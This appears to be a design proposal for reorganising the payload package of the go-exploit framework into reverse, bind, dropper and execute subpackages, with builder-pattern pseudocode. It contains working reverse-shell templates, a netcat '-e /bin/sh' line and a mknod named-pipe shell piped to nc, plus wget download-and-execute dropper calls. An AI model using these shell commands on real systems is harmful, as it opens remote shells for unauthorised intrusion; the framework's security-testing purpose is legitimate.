Problem
Currently the go-exploit/payload
package is used as a generic store for all payload related activities including:
- Bind shells
- Reverse shells
- Payload encoding
- "Minified" & unflattened payloads
With each of them having a OS indicator and multiple variants of types (Mkfifo
vs Mknod
). While this is functional (hey it's all just strings in the end), it does create a bit of an unclear structure and very long names such as WindowsPowershellHTTPDownloadAndExecute
.
Solutions
There are multiple parts to solve this and clarify the structure while also allowing an "escape" hatch for retrieving the simple raw string for places when necessary as we all know that sometimes being very programmatic is harder than just slapping in a string.
I have come up with a couple of different potential options, the first of which is this proposal and the second is a thought on potential structure improvement:
- Separate the payloads into packages or specific types
- A builder pattern and some additions to the subpackages (Future work/discussion)
Split out the payloads by category
To first clearly simplify things I propose a payload type be defined in the subpackage types directly and with a default interface for cleaning up the function signature.
Something along the lines of:
go-exploit/payload/reverse
go-exploit/payload/bind
go-exploit/payload/dropper
go-exploit/payload/execute
- and potentially a
go-exploit/payload/other
for components like the cron
Here's a bit of pseudocode for the reverse
payload package to get an idea of how the pattern might work/be structured:
// inside reverse package
type Reverse interface {
Default
}
type Default interface {}
type netcat struct{}
var Netcat = &netcat{}
var NetcatDefault = `nc %s %d -e /bin/sh`
func (nc netcat) Default(lhost string, lport int) string {
return NetcatDefault
}
func (nc netcat) Mknod(lhost string, lport int) string {
node := random.Randletters(3)
return fmt.Sprintf("cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;", node, node, lhost, lport, node, node)
}
This makes the calling signature look like the following:
reverse.Netcat.Default(cfg.Lhost, cfg.Lport)
reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport)
reverse.Netcat.Unflattened(cfg.Lhost, cfg.Lport)
// for other packages
bind.Netcat.Mknod(1337)
dropper.Execute.Wget(cfg.Lhost, cfg.Lport, true, "downloadme", "/url.jsp")
dropper.Write.Wget(cfg.Lhost, cfg.Lport, true, "downloadme")
This also lets us have that "escape hatch" just to get the string without the printf being applied:
reverse.NetcatDefault
fmt.Sprintf(reverse.NetcatDefault, cfg.Lhost, cfg.Lport)
I also propose moving the IFS and Brace payload encoders to go-exploit/transform
or if we want to eventually create a Payload type to move them to a go-exploit/payload/transform
package.
Potential Issues
- OS specific payloads do not fit cleanly - The commands that have Linux or Windows prefixes will lack clarity and either need to keep the prefix or another additional type will need to be set up for allowing definition of which OS
- The empty struct and
var Netcat = &netcat{}
feels like a weird pattern, but lets us call the functions defined on the empty struct. Maybe we could also do something like add the default value to that struct and make it accessible that way?
- Keeping backwards compat/ensuring that payloads are generated the same for existing exploits is something that should be considered.
- Test cases might be possible and even "unsafe" tests to generate actual payload testing harnesses and automatically validate against configurations in CI.
Future Ideas: Interface with Builder Pattern
In the future we could also work towards a builder pattern using the above layout, if it were to make sense. This would be done by defining an overarching Payload
type and then a simple builder pattern with an interface. The way this would be used would allow for chaining of payload functions directly in single line:
Builder Pattern Ideas
var payload := payload.New()
// Create a netcat payload
payloadGen := payload.Technique(reverse.Netcat.Default()).String()
var payload := payload.New()
// Or create a netcat payload with the mknod variant and base64 encode it
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Encode(encoders.Base64URL).String()
var payload := payload.New()
// Or create a bash payload with the mknod variant and base64 encode it
// define a `func StripFirstSpace(string) string`
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Modify(StripFirstSpace(payload.String()).String()
This is a non-working little example of how that pattern might be dfined.
type Payload {
current string
technique payload.Technique
platform platform.Platform
variants string
arch arch.Arch
}
type Technique interface {
Default
}
type PayloadBuilder interface {
String() string
Technique(payload.Technique) Payload
Platform(platform.Platform) Payload
Arch(arch.Arch) Payload
Encode(encoders.Encoder) Payload
// Maybe use a intereface and allow it access to itself?
Modify(func(string) string) Payload
}
type payloadBuilder struct {
payload *Payload
}
func New() PayloadBuilder {
return &payloadBuilder{
payload: &Payload{},
}
}
func (payload *payloadBuilder) String() string {
return payload.current
}
func (payload *payloadBuilder) Technique(technique payload.Technique) PayloadBuilder {
if variant == "" {
payload.current = technique.default
} else {
payload.current = technique.Variants()[variant]
}
// Also set all the default values for a specific OS/Arch/Method/etc is possible
// ie bash can set platform.UnixGeneric and arch.Generic
// Which of course would be "impure" with side effects, but it seems more usable, would just be worth calling out that order would matter a bit
return payload
}
// ... etc ...
A few other benefits to this would be that we could add debugger steps to the builder components to make it clear how the string is being built by outputting before/after of current
.